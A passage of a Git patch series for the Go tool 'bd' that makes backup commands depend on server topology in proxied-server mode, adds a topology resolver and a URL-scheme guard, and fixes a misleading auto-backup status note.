global to every client of that server — one workspace's backup +// decision silently becomes everyone's, which is the shape of the auto-backup +// storm this command's own help text warns about. +// +// backupRemoteSchemeTracking is why these rows carry a Tracking item despite +// being Reason=design: the outcome is settled, the remote-scheme CASE is not. +func backupRefusal(path string) capabilityRow { + return refusedPath(path, "proxy.backup.unsupported", ProxyReasonDesign, backupRemoteSchemeTracking). + withMessage(path + " is not supported in proxied-server mode against a Dolt server bd does not own: " + + "the backup remote is registered on the server, where it is global to every client, " + + "and a file:// destination names a filesystem this client cannot see"). + honoredOn(ProxyTopologyManagedLocal) +} + +// backupRemoteSchemeTracking records the one part of the backup refusal that is +// a question rather than a verdict, so refusing the family off-host does not +// silently foreclose it. A remote-scheme destination (DoltHub, aws://, gs://) +// needs no filesystem bd can see — the server pushes it over the network from +// its own environment, which is exactly the credential story S4 has to settle +// for `dolt push` on these same topologies. Whether a per-client backup remote +// on a shared server is ever acceptable is the open part; the plumbing is not. +// +// Note also that the DoltHub story is already half-built in DIRECT mode: +// `bd backup init https://…` and `bd backup sync` work, but +// `bd backup restore https://…` does not, because validateBackupRestoreDir +// os.Stats its argument and rejects anything that is not an existing directory +// on every topology. Pre-existing, not something this slice changed. +const backupRemoteSchemeTracking = "open question, not a verdict: remote-scheme (DoltHub/aws/gs) backup on a server " + + "bd does not own — revisit with S4, which settles the same server-env credential question for dolt push" + // proxyCapabilityRegistry is the whole path-keyed policy. Rows for permitted // paths are appended from proxyPermittedPaths by init. var proxyCapabilityRegistry = []capabilityRow{ @@ -176,16 +249,37 @@ var proxyCapabilityRegistry = []capabilityRow{ // --- backup / restore --------------------------------------------------- // CALL DOLT_BACKUP(...) is pure SQL over a connection proxied mode already - // owns, so this family is plumbing, not policy. Locality policy (file:// - // URLs naming the server's filesystem on external topologies) is decided - // per topology when S3 lands. - refusedPath("backup", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup). - asParentGroup(), - refusedPath("backup init", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), - refusedPath("backup sync", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), - refusedPath("backup remove", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), - refusedPath("backup status", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), - refusedPath("backup restore", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + // owns, so routing this family needed no proxy work at all — see + // backup_proxied_server.go. + // + // What it did need is the ownership policy, which is the first genuinely + // topology-differentiated rule in this table. A backup remote belongs to the + // SERVER, not to the client that asked for it: `CALL DOLT_BACKUP('add', …)` + // registers it in the server's own configuration, where it is global to + // every client connected to that server. On managed-local "every client" is + // this workspace, because bd spawned the child itself. Anywhere else one + // operator's backup decision silently becomes everyone's — the same shape as + // the auto-backup storm this command's help text already warns about, and + // the reason team-server is the sharpest case: bts owns the store. + // + // A file:// destination adds a second, scheme-specific problem on top: it + // names a path on the machine running dolt, so off-host the command either + // fails at the point of use or, far worse, reports success having written + // the backup somewhere the operator will never look for it. + // + // Hence: honored on managed-local, refused by design everywhere else. The + // OUTCOME is design — server-global state is not something plumbing on this + // side can make per-client, and a backup story for those shapes belongs to + // whoever runs the server. The remote-scheme case (DoltHub, aws://, gs://, + // which resolveDoltBackupURL accepts and backup.go recommends) is the part + // that is a question rather than a verdict, and it is not silently + // foreclosed: see backupRemoteSchemeTracking, which every row below carries. + backupRefusal("backup").asParentGroup(), + backupRefusal("backup init"), + backupRefusal("backup sync"), + backupRefusal("backup remove"), + backupRefusal("backup status"), + backupRefusal("backup restore"), // --- version control over a shared history ------------------------------ // Refused by design: these mutate or traverse a history that several @@ -515,7 +609,11 @@ func commandPolicyArgSet(cmd *cobra.Command) string { // front door: it rejects direct-only commands before migrations, auto-start or // provider construction, so a refusal leaves the workspace untouched. The // flag-keyed half is validateProxyCapabilitiesBeforeProvider. -func validateProxyRegistryBeforeProvider(cmd *cobra.Command) error { +// +// topology is the workspace's proxied shape (resolveProxiedTopology). It is a +// parameter rather than a lookup inside so the gate can be exercised for every +// shape without a workspace on disk. +func validateProxyRegistryBeforeProvider(cmd *cobra.Command, topology ProxyTopology) error { if cmd == nil { return nil } @@ -532,10 +630,14 @@ func validateProxyRegistryBeforeProvider(cmd *cobra.Command) error { } } row, ok := capabilityRowFor(cmd) - if !ok || row.Rule.Outcome != ProxyOutcomeRefused { + if !ok { return nil } - return HandleProxyCapabilityError(proxyCapabilityErrorFor(row.Rule)) + rule := row.ruleFor(topology) + if rule.Outcome != ProxyOutcomeRefused { + return nil + } + return HandleProxyCapabilityError(proxyCapabilityErrorFor(rule)) } func proxyCapabilityErrorFor(rule proxyCapabilityRule) *ProxyCapabilityError { diff --git a/cmd/bd/capability_registry_history_test.go b/cmd/bd/capability_registry_history_test.go index c0319a73b..87d1fd44d 100644 --- a/cmd/bd/capability_registry_history_test.go +++ b/cmd/bd/capability_registry_history_test.go @@ -31,7 +31,7 @@ func TestSyncRefusesBeforeProvider(t *testing.T) { root := &cobra.Command{Use: "bd"} cmd := &cobra.Command{Use: "sync"} root.AddCommand(cmd) - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if err == nil { t.Fatalf("sync refusal = %#v", err) } @@ -71,7 +71,7 @@ func TestHistoryDirectOnlyRefusalContract(t *testing.T) { } uowProvider = nil jsonOutput = true - out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); return nil }) var got map[string]any want := expected[path] if err := json.Unmarshal([]byte(out), &got); err != nil || got["code"] != want.code || got["error"] != want.message || got["mutates"] != false { @@ -104,7 +104,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { cmd.AddCommand(child) cmd = child } - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if path == "dolt remote remove" { if err != nil { t.Fatalf("supported %s refused: %v", path, err) @@ -120,7 +120,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { var got map[string]any // validateProxyRegistryBeforeProvider renders the typed refusal to // stdout in JSON mode; the command must retain its nested path. - out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); return nil }) if err := json.Unmarshal([]byte(out), &got); err != nil { t.Fatalf("%s refusal JSON: %v (%q)", path, err, out) } @@ -132,7 +132,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { root := &cobra.Command{Use: "bd"} history := &cobra.Command{Use: "history"} root.AddCommand(history) - if err := validateProxyRegistryBeforeProvider(history); err != nil { + if err := validateProxyRegistryBeforeProvider(history, ProxyTopologyManagedLocal); err != nil { t.Fatalf("history --events supported path refused: %v", err) } } diff --git a/cmd/bd/capability_registry_test.go b/cmd/bd/capability_registry_test.go index f6f7f47c1..6725729fb 100644 --- a/cmd/bd/capability_registry_test.go +++ b/cmd/bd/capability_registry_test.go @@ -109,38 +109,12 @@ func TestProxyCapabilityRegistryHasNoDuplicateRows(t *testing.T) { // refusal with no tracking item is a gap nobody owns. func TestProxyCapabilityRegistryRowInvariants(t *testing.T) { for _, row := range proxyCapabilityRegistry { - switch row.Rule.Outcome { - case ProxyOutcomeRefused: - if row.Rule.Code == "" || row.Rule.Message == "" || row.Rule.ExitCode != 1 { - t.Errorf("%s: refusal must carry a code, a message and exit 1, got %#v", row.display(), row.Rule) - } - if row.Rule.Mutates { - t.Errorf("%s: a refusal never mutates", row.display()) - } - if !strings.HasPrefix(row.Rule.Code, "proxy.") { - t.Errorf("%s: code %q must be in the stable proxy.* namespace", row.display(), row.Rule.Code) - } - case ProxyOutcomeRefusedInRunE: - if row.Rule.Code != "" { - t.Errorf("%s: an untyped RunE refusal has no code; if it has one it belongs in the gate", row.display()) - } - case ProxyOutcomeHonored: - if row.Rule.Reason != "" { - t.Errorf("%s: Reason explains a refusal; an honored row must not carry one", row.display()) - } - default: - t.Errorf("%s: unexpected outcome %q", row.display(), row.Rule.Outcome) - } - - refusal := row.Rule.Outcome == ProxyOutcomeRefused || row.Rule.Outcome == ProxyOutcomeRefusedInRunE - if refusal { - switch row.Rule.Reason { - case ProxyReasonDesign, ProxyReasonUnimplemented: - default: - t.Errorf("%s: refusal must declare Reason design or unimplemented, got %q", row.display(), row.Rule.Reason) - } - if row.Rule.Reason == ProxyReasonUnimplemented && row.Rule.Tracking == "" { - t.Errorf("%s: an unimplemented refusal needs a Tracking item naming who closes it", row.display()) + assertCapabilityRuleInvariants(t, row.display(), row.Rule) + for topology, rule := range row.Topology { + assertCapabilityRuleInvariants(t, row.display()+" on "+string(topology), rule) + if topology == ProxyTopologyUnknown { + t.Errorf("%s: a row must not name the unknown topology; unknown exists so an unclassifiable "+ + "workspace INHERITS the refusal, and exempting it would invert that", row.display()) } } if row.History == HistoryDirectOnly && row.Rule.Outcome != ProxyOutcomeRefused { @@ -152,6 +126,46 @@ func TestProxyCapabilityRegistryRowInvariants(t *testing.T) { } } +// assertCapabilityRuleInvariants checks one rule — a row's default or one of +// its per-topology overrides. Both have to satisfy the same contract: a +// topology override is policy a consumer sees, not a footnote. +func assertCapabilityRuleInvariants(t *testing.T, where string, rule proxyCapabilityRule) { + t.Helper() + switch rule.Outcome { + case ProxyOutcomeRefused: + if rule.Code == "" || rule.Message == "" || rule.ExitCode != 1 { + t.Errorf("%s: refusal must carry a code, a message and exit 1, got %#v", where, rule) + } + if rule.Mutates { + t.Errorf("%s: a refusal never mutates", where) + } + if !strings.HasPrefix(rule.Code, "proxy.") { + t.Errorf("%s: code %q must be in the stable proxy.* namespace", where, rule.Code) + } + case ProxyOutcomeRefusedInRunE: + if rule.Code != "" { + t.Errorf("%s: an untyped RunE refusal has no code; if it has one it belongs in the gate", where) + } + case ProxyOutcomeHonored: + if rule.Reason != "" { + t.Errorf("%s: Reason explains a refusal; an honored row must not carry one", where) + } + default: + t.Errorf("%s: unexpected outcome %q", where, rule.Outcome) + } + + if rule.Outcome == ProxyOutcomeRefused || rule.Outcome == ProxyOutcomeRefusedInRunE { + switch rule.Reason { + case ProxyReasonDesign, ProxyReasonUnimplemented: + default: + t.Errorf("%s: refusal must declare Reason design or unimplemented, got %q", where, rule.Reason) + } + if rule.Reason == ProxyReasonUnimplemented && rule.Tracking == "" { + t.Errorf("%s: an unimplemented refusal needs a Tracking item naming who closes it", where) + } + } +} + // inlineProxiedRefusal matches the untyped refusals commands raise from their // own RunE, e.g. HandleErrorRespectJSON("gitlab sync is not supported in // proxied-server mode"). @@ -271,6 +285,16 @@ func TestProxyCapabilityRegistryReasonsAreAssignedIndividually(t *testing.T) { "migrate": true, "migrate sync": true, "migrate issues": true, "migrate-issues": true, "migrate-personal": true, "admin cleanup": true, "admin reset": true, + // The backup family's DEFAULT rule is the design refusal; managed-local + // overrides it to honored (TestProxiedBackupHonoredOnlyOnManagedLocal). + // It is design because a backup remote is registered on the SERVER, + // where it is global to every client of that server — true of every + // destination scheme, unlike the filesystem half, which is a file:// + // property only. These rows carry a Tracking item anyway + // (backupRemoteSchemeTracking): the outcome is settled, the + // remote-scheme case is an open question and must not read as closed. + "backup": true, "backup init": true, "backup sync": true, + "backup remove": true, "backup status": true, "backup restore": true, } gotDesign := map[string]bool{} @@ -364,7 +388,7 @@ func TestProxyRefusalJSONCarriesReason(t *testing.T) { cmd := &cobra.Command{Use: tc.path} root.AddCommand(cmd) out := captureStdout(t, func() error { - _ = validateProxyRegistryBeforeProvider(cmd) + _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) return nil }) for _, want := range []string{ diff --git a/cmd/bd/capability_registry_transform_test.go b/cmd/bd/capability_registry_transform_test.go index 86ed302b4..7862323a2 100644 --- a/cmd/bd/capability_registry_transform_test.go +++ b/cmd/bd/capability_registry_transform_test.go @@ -76,7 +76,7 @@ func TestProxyTransformCapabilityRows(t *testing.T) { t.Fatalf("typed refusal = %#v", typed) } } - if err := validateProxyRegistryBeforeProvider(cmd); tc.outcome == ProxyOutcomeHonored && err != nil { + if err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); tc.outcome == ProxyOutcomeHonored && err != nil { t.Fatalf("honored transform refused: %v", err) } }) @@ -86,11 +86,11 @@ func TestProxyTransformCapabilityRows(t *testing.T) { func TestProxyDuplicatesAutoMergeDryRunMatrix(t *testing.T) { cmd := transformTestCommand("duplicates", "auto-merge", "dry-run") _ = cmd.Flags().Set("auto-merge", "true") - if err := validateProxyRegistryBeforeProvider(cmd); err == nil { + if err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); err == nil { t.Fatalf("non-dry auto-merge error = %v", err) } _ = cmd.Flags().Set("dry-run", "true") - if err := validateProxyRegistryBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); err != nil { t.Fatalf("dry-run auto-merge refused: %v", err) } } @@ -104,7 +104,7 @@ func TestProxyTransformRefusalRendering(t *testing.T) { jsonOutput = false var textErr string stderr := captureStderr(t, func() { - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if code, ok := exitCodeFromError(err); !ok || code != 1 { t.Fatalf("exit = %v, want 1", err) } @@ -116,7 +116,7 @@ func TestProxyTransformRefusalRendering(t *testing.T) { jsonOutput = true stdout := captureStdout(t, func() error { - _ = validateProxyRegistryBeforeProvider(cmd) + _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) return nil }) var envelope map[string]any @@ -164,7 +164,7 @@ func TestProxyTransformRefusalHasNoProviderOrFileMutation(t *testing.T) { t.Cleanup(func() { uowProvider = oldProvider }) cmd := transformTestCommand("supersede") - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if err == nil { t.Fatal("expected transform refusal") } diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 946cefbb1..e93b6dd54 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1285,18 +1285,18 @@ var rootCmd = &cobra.Command{ fmt.Fprintf(os.Stderr, "warning: %v\n", err) } } + if beadsDir == "" { + beadsDir = beads.FindBeadsDir() + } if cmdName == "doctor" && usesProxiedServer() { // Refuse only on a real refusal. The registry validator // returns nil for doctor subcommands, and returning early on // that would skip the legacy-store guard and autocommit-mode // resolution every other skipsStoreInit command still runs. - if err := validateProxyRegistryBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd, resolveProxiedTopology(beadsDir)); err != nil { return err } } - if beadsDir == "" { - beadsDir = beads.FindBeadsDir() - } if err := guardLegacyNoStoreCommand(cmd, beadsDir); err != nil { isMigrationCommand := false for current := cmd; current != nil; current = current.Parent() { @@ -1503,7 +1503,7 @@ var rootCmd = &cobra.Command{ if err := validateProxyCapabilitiesBeforeProvider(cmd); err != nil { return err } - if err := validateProxyRegistryBeforeProvider(cmd); err != nil { + if err := validateProxyRegistryBeforeProvider(cmd, resolveProxiedTopology(beadsDir)); err != nil { return err } } diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index 774323944..73869cdc7 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -25,10 +25,11 @@ const ( ProxyModeProxied ProxyMode = "proxied-server" ) -// ProxyTopology distinguishes the provider deployment shape. Capability -// policy is currently identical across proxied shapes, but retaining this -// dimension prevents an external TCP server from being conflated with a local -// managed one as more surfaces are added. +// ProxyTopology distinguishes the provider deployment shape. The backup family +// is the first policy that genuinely differs across these: a Dolt backup +// destination is resolved on the machine running dolt, so "the server bd +// spawned itself" and "a server somebody else runs" are different answers to +// the same command (see capability_registry.go's backup rows). type ProxyTopology string const ( @@ -36,6 +37,17 @@ const ( ProxyTopologyManagedLocal ProxyTopology = "managed-local" ProxyTopologyExternalTCP ProxyTopology = "external-tcp" ProxyTopologyExternalUnix ProxyTopology = "external-unix" + // ProxyTopologyTeamServer is a workspace whose database is owned by + // beads-team-server. It is a shape rather than a transport: bts owns the + // store's schema and identity whether bd reaches it over a port, a socket, + // or a child bd started, so the ownership fact decides capability policy and + // the transport does not. + ProxyTopologyTeamServer ProxyTopology = "team-server" + // ProxyTopologyUnknown is what a workspace bd cannot classify reports. It is + // never honored by a topology-keyed row, which is the fail-closed half of + // the policy: a workspace that cannot prove it owns its Dolt server does not + // get the privileges of one that can. + ProxyTopologyUnknown ProxyTopology = "unknown" ) // ProxyCapabilityOutcome describes what the front door does with a feature. diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 3b7718cf0..6c70f17ff 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -139,6 +139,11 @@ func TestProxyCapabilityCommandRows(t *testing.T) { } } +// TestProxyMaintenanceNestedPathsRefuseBeforeProvider proves the gate resolves +// a PARENT+CHILD path, which is where a nested command used to slip through. +// It runs on external-tcp because that is the topology on which every path +// listed here still refuses: the backup family is honored on managed-local +// since slice S3, and asserting a refusal there would be asserting the bug. func TestProxyMaintenanceNestedPathsRefuseBeforeProvider(t *testing.T) { oldJSON := jsonOutput jsonOutput = true @@ -151,7 +156,7 @@ func TestProxyMaintenanceNestedPathsRefuseBeforeProvider(t *testing.T) { root.AddCommand(parent) parent.AddCommand(child) out := captureStdout(t, func() error { - _ = validateProxyRegistryBeforeProvider(child) + _ = validateProxyRegistryBeforeProvider(child, ProxyTopologyExternalTCP) return nil }) if !strings.Contains(out, `"code":`) { @@ -171,7 +176,7 @@ func TestProxyFormulaSwarmMergeSlotRefusals(t *testing.T) { cmd.AddCommand(child) cmd = child } - err := validateProxyRegistryBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) if err == nil { t.Fatalf("%s unexpectedly allowed", path) } @@ -232,7 +237,7 @@ func TestProxyWorkflowRefusalContractAndNoMutation(t *testing.T) { oldDidWrite := commandDidWrite.Load() commandDidWrite.Store(false) t.Cleanup(func() { commandDidWrite.Store(oldDidWrite) }) - out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal); return nil }) var got map[string]any if err := json.Unmarshal([]byte(out), &got); err != nil || got["code"] != tc.code || got["error"] != tc.message { t.Fatalf("JSON refusal = %q (%v)", out, err) @@ -269,7 +274,7 @@ func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { oldProvider := uowProvider uowProvider = nil t.Cleanup(func() { uowProvider = oldProvider }) - err := validateProxyRegistryBeforeProvider(hooks) + err := validateProxyRegistryBeforeProvider(hooks, ProxyTopologyManagedLocal) if err == nil { t.Fatal("expected typed maintenance refusal") } diff --git a/cmd/bd/proxy_topology.go b/cmd/bd/proxy_topology.go new file mode 100644 index 000000000..c8f8568ff --- /dev/null +++ b/cmd/bd/proxy_topology.go @@ -0,0 +1,54 @@ +package main + +import ( + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/configfile" +) + +// resolveProxiedTopology reports which proxied-server SHAPE a workspace is, for +// the capability rows whose answer depends on it. +// +// The shapes are ordered by how much of the store bd owns, and the first one +// that matches wins: +// +// team-server the database belongs to beads-team-server, which owns its +// schema and identity. Ownership beats transport — a +// bts-managed database is somebody else's store even when the +// dolt process happens to be local. +// external-* an operator's Dolt server that bd only connects to. The +// sidecar's External block is what records it, and the socket +// field is what separates the two transports. +// managed-local no External block: bd spawned this dolt sql-server itself, +// under this user, on this filesystem. +// +// A workspace bd cannot read is reported as unknown rather than guessed at. +// Every topology-keyed row treats unknown as refused, so a corrupt sidecar +// costs a capability instead of buying one; the provider open that follows +// fails on the same file with a much better message than this function could +// produce, so this is a policy decision, not the error path. +func resolveProxiedTopology(beadsDir string) ProxyTopology { + if beadsDir == "" { + beadsDir = beads.FindBeadsDir() + } + if beadsDir == "" { + return ProxyTopologyUnknown + } + cfg, err := configfile.Load(beadsDir) + if err != nil { + return ProxyTopologyUnknown + } + if cfg != nil && cfg.IsTeamServerManaged() { + return ProxyTopologyTeamServer + } + info, err := configfile.LoadProxiedServerClientInfo(beadsDir) + if err != nil { + return ProxyTopologyUnknown + } + if info == nil || info.External == nil { + return ProxyTopologyManagedLocal + } + if info.External.Socket != "" { + return ProxyTopologyExternalUnix + } + return ProxyTopologyExternalTCP +} diff --git a/cmd/bd/uow_factory.go b/cmd/bd/uow_factory.go index adbfb8aa7..aeeb24a89 100644 --- a/cmd/bd/uow_factory.go +++ b/cmd/bd/uow_factory.go @@ -171,11 +171,24 @@ func newProxiedServerUOWProvider(ctx context.Context, beadsDir, databaseOverride return openProxiedServerUOWProvider(ctx, beadsDir, databaseOverride, assertWorkspaceIdentity, opts...) } -// newProxiedServerUOWProviderAdopting skips that assertion. Only two callers -// legitimately have no workspace identity to assert: `bd init --team-server`, -// which ADOPTS the identity the shared database already carries (asserting the -// locally-minted placeholder would reject every correct init), and server-wide -// database maintenance, which is not scoped to one project's database. +// newProxiedServerUOWProviderAdopting skips that assertion. Three callers +// legitimately have no workspace identity to assert: +// +// - `bd init --team-server`, which ADOPTS the identity the shared database +// already carries (asserting the locally-minted placeholder would reject +// every correct init); +// - server-wide database maintenance, which is not scoped to one project's +// database; +// - withQuiescedProxiedProvider (backup_proxied_server.go), the post-restore +// reopen. A restore is precisely the operation after which the workspace's +// recorded project id and the database's may legitimately differ, and it is +// the connection whose job is to reconcile them — asserting the pre-restore +// identity would refuse the one open that can fix the mismatch. The full +// reasoning is at that function's doc comment. +// +// Anything else reaching this constructor is bypassing an identity assertion +// that exists to stop a workspace writing into another project's database. Add +// a fourth entry here, with its reason, or use newProxiedServerUOWProvider. func newProxiedServerUOWProviderAdopting(ctx context.Context, beadsDir, databaseOverride string, opts ...uow.ProviderOption) (uow.UnitOfWorkProvider, error) { return openProxiedServerUOWProvider(ctx, beadsDir, databaseOverride, adoptWorkspaceIdentity, opts...) } diff --git a/internal/storage/versioncontrolops/backup.go b/internal/storage/versioncontrolops/backup.go index 2206d729e..56acacf27 100644 --- a/internal/storage/versioncontrolops/backup.go +++ b/internal/storage/versioncontrolops/backup.go @@ -48,7 +48,20 @@ func BackupRestore(ctx context.Context, db DBConn, url, dbName string, force boo } // DirToFileURL resolves dir to an absolute path and returns a file:// URL. +// +// An input that already carries a scheme is rejected rather than prefixed. +// filepath.Abs would happily turn "https://doltremoteapi.dolthub.com/u/r" into +// "file:///cwd/https:/doltremoteapi.dolthub.com/u/r" — a syntactically valid +// URL naming a local directory that does not exist, which DOLT_BACKUP would +// then fail on, or worse create. No caller can reach that today (`bd backup +// restore` os.Stats its argument first, so a URL never gets here), but every +// caller is a restore path and restore-from-a-remote is an open capability +// question — see backupRemoteSchemeTracking in cmd/bd/capability_registry.go. +// Whoever closes it should get an error here, not a mangled path. func DirToFileURL(dir string) (string, error) { + if scheme, _, found := strings.Cut(dir, "://"); found { + return "", fmt.Errorf("%q is a %s URL, not a directory: this path takes a local directory to turn into a file:// URL", dir, scheme) + } abs, err := filepath.Abs(dir) if err != nil { return "", fmt.Errorf("resolve absolute path: %w", err) diff --git a/internal/storage/versioncontrolops/backup_test.go b/internal/storage/versioncontrolops/backup_test.go index a3278b982..d58df7660 100644 --- a/internal/storage/versioncontrolops/backup_test.go +++ b/internal/storage/versioncontrolops/backup_test.go @@ -2,9 +2,38 @@ package versioncontrolops import ( "fmt" + "strings" "testing" ) +// TestDirToFileURLRejectsSchemes pins the guard that stops a URL being turned +// into a bogus local path. filepath.Abs treats "https://host/repo" as a +// relative path, so without the check this helper would hand DOLT_BACKUP +// "file:///cwd/https:/host/repo" and the failure would name a directory nobody +// asked for. No caller can reach it today — `bd backup restore` stats its +// argument first — but every caller is a restore path, and restore-from-a-remote +// is the open capability that would reach it. +func TestDirToFileURLRejectsSchemes(t *testing.T) { + for _, dir := range []string{ + "https://doltremoteapi.dolthub.com/user/repo", + "file:///already/a/url", + "aws://bucket/key", + "gs://bucket/key", + } { + if got, err := DirToFileURL(dir); err == nil { + t.Errorf("DirToFileURL(%q) = %q, want an error naming the scheme", dir, got) + } + } + + got, err := DirToFileURL("backups/nightly") + if err != nil { + t.Fatalf("DirToFileURL on a plain relative dir: %v", err) + } + if !strings.HasPrefix(got, "file://") || strings.Contains(got, "://backups") { + t.Fatalf("DirToFileURL(%q) = %q", "backups/nightly", got) + } +} + func TestExtractAddressConflictName(t *testing.T) { tests := []struct { name string From 74dc7154c266c40990a803c45fdb9b46e4d70263 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 23 Sep 2026 18:53:16 -0700 Subject: [PATCH 182/624] fix(backup): stop attributing proxied auto-backup OFF to a missing git remote (#6694) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Post-merge review of #6584 (landed 7ccb961f7..c69dd3061). Honoring the backup family on a managed-local proxied server made `bd backup status` reachable on that topology for the first time — and it rendered the embedded-mode footnote `(auto: no git remote)`. That reason was never true there: `isBackupAutoEnabled` returns false because `usesSQLServer()` short-circuits it, whether or not a remote exists. The same command's help then told the operator to set `backup.enabled=true` to opt in, which on proxied changes nothing — the proxied arm of `PersistentPostRunE` never calls `runPostRunAutoBackup`, so an operator following bd's own instructions gets silent no-backup. The status note now comes from `backupAutoStatusNote`, which narrates the reason the decision actually used: proxied-server first (and regardless of the config source, since an explicit `backup.enabled=true` is inert there and a bare `enabled=true` is the misleading half), then sql-server mode — the reason `bd config get backup.enabled` already reports for the same condition — then the unchanged embedded git-remote arms. The `backup` help stops advertising the opt-in on proxied and points at explicit `bd backup sync`, which is honored on the one proxied shape that reaches these surfaces. Wiring an auto-backup hook through the new proxied routes is the other half of the reviewer's fix and is deliberately not taken here: all three reviewers classified the missing hook as a pre-existing gap #6584 did not claim. Only the newly produced misinformation is corrected. `TestBackupAutoStatusNote` pins all seven shapes against the value they are printed beside; reverting the helper to the pre-fix ordering fails exactly the three server-mode cases and leaves the four embedded ones green. (cherry picked from commit e677d90d88b771e985f5eb838f9346777828194e) --- CHANGELOG.md | 7 ++ cmd/bd/backup.go | 16 ++--- cmd/bd/backup_auto.go | 37 ++++++++++ cmd/bd/backup_auto_test.go | 139 +++++++++++++++++++++++++++++++++++++ 4 files changed, 191 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 46b484813..8e4d27cf0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,6 +32,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 network from its own environment, which is the same credential question the next slice has to answer for `dolt push`. + Backups on this topology are **explicit only**. Auto-backup has no + post-command hook on the proxied path, so `backup.enabled=true` does nothing + there; `bd backup status` and `bd backup` help now say so instead of + attributing the OFF to a missing git remote, which was never the reason on a + server topology. Wiring an auto-backup hook through the new routes is left to + a later slice. + ### Changed - **Proxied-server refusals now say *why* they refuse.** The JSON a refused diff --git a/cmd/bd/backup.go b/cmd/bd/backup.go index 6e2e40325..270536bcf 100644 --- a/cmd/bd/backup.go +++ b/cmd/bd/backup.go @@ -40,7 +40,12 @@ Auto-backup default: dir and full-sync the whole database — a self-amplifying storm. To back up a shared server, run 'bd backup' explicitly (or set backup.enabled=true and coordinate destinations). 'bd config get backup.enabled' shows the effective - value and its source.`, + value and its source. + + On a proxied-server workspace that opt-in does not apply: auto-backup has + no post-command hook on that path, so backup.enabled=true is inert there. + The five backup verbs above are honored on a managed-local proxied server — + run 'bd backup sync' explicitly to back one up.`, GroupID: "sync", } @@ -126,14 +131,9 @@ func newBackupStatusCommand(sizeDatabase backupSizeFunc) *cobra.Command { // Show config (effective values with source) enabled := isBackupAutoEnabled() interval := config.GetDuration("backup.interval") - enabledSource := config.GetValueSource("backup.enabled") enabledNote := "" - if enabledSource == config.SourceDefault { - if enabled { - enabledNote = " (auto: git remote detected)" - } else { - enabledNote = " (auto: no git remote)" - } + if note := backupAutoStatusNote(enabled); note != "" { + enabledNote = " (" + note + ")" } fmt.Printf("\nConfig: enabled=%v%s interval=%s\n", enabled, enabledNote, interval) diff --git a/cmd/bd/backup_auto.go b/cmd/bd/backup_auto.go index 210bf5299..8974439e2 100644 --- a/cmd/bd/backup_auto.go +++ b/cmd/bd/backup_auto.go @@ -40,6 +40,43 @@ func isBackupAutoEnabled() bool { return primeHasGitRemote() } +// backupAutoStatusNote returns the parenthetical `bd backup status` +// prints after the effective backup.enabled value, or "" when the value +// speaks for itself. Callers pass the value isBackupAutoEnabled() +// already computed so the note cannot disagree with the number beside +// it — and so status does not re-run the git-remote probe. +// +// The note narrates the reason the decision actually used. Proxied-server +// is checked first and ignores the config source, because on that topology +// auto-backup cannot run at all whatever backup.enabled says: the proxied +// arm of PersistentPostRunE never calls runPostRunAutoBackup (main.go), so +// an explicit backup.enabled=true is inert and reporting a bare +// "enabled=true" would send the operator away believing backups happen. +// The five backup verbs are honored on managed-local (the only proxied +// shape that reaches this line — every other one is refused by +// requireLocalProxiedBackup), so `bd backup sync` is the real answer there. +// +// Every other sql-server shape keeps its post-run hook, so there the +// default is merely off — the reason `bd config get backup.enabled` +// already reports for the same condition. Before this arm existed, status +// attributed that OFF to a missing git remote, which is untrue: server +// mode short-circuits isBackupAutoEnabled whether or not a remote exists. +func backupAutoStatusNote(enabled bool) string { + if 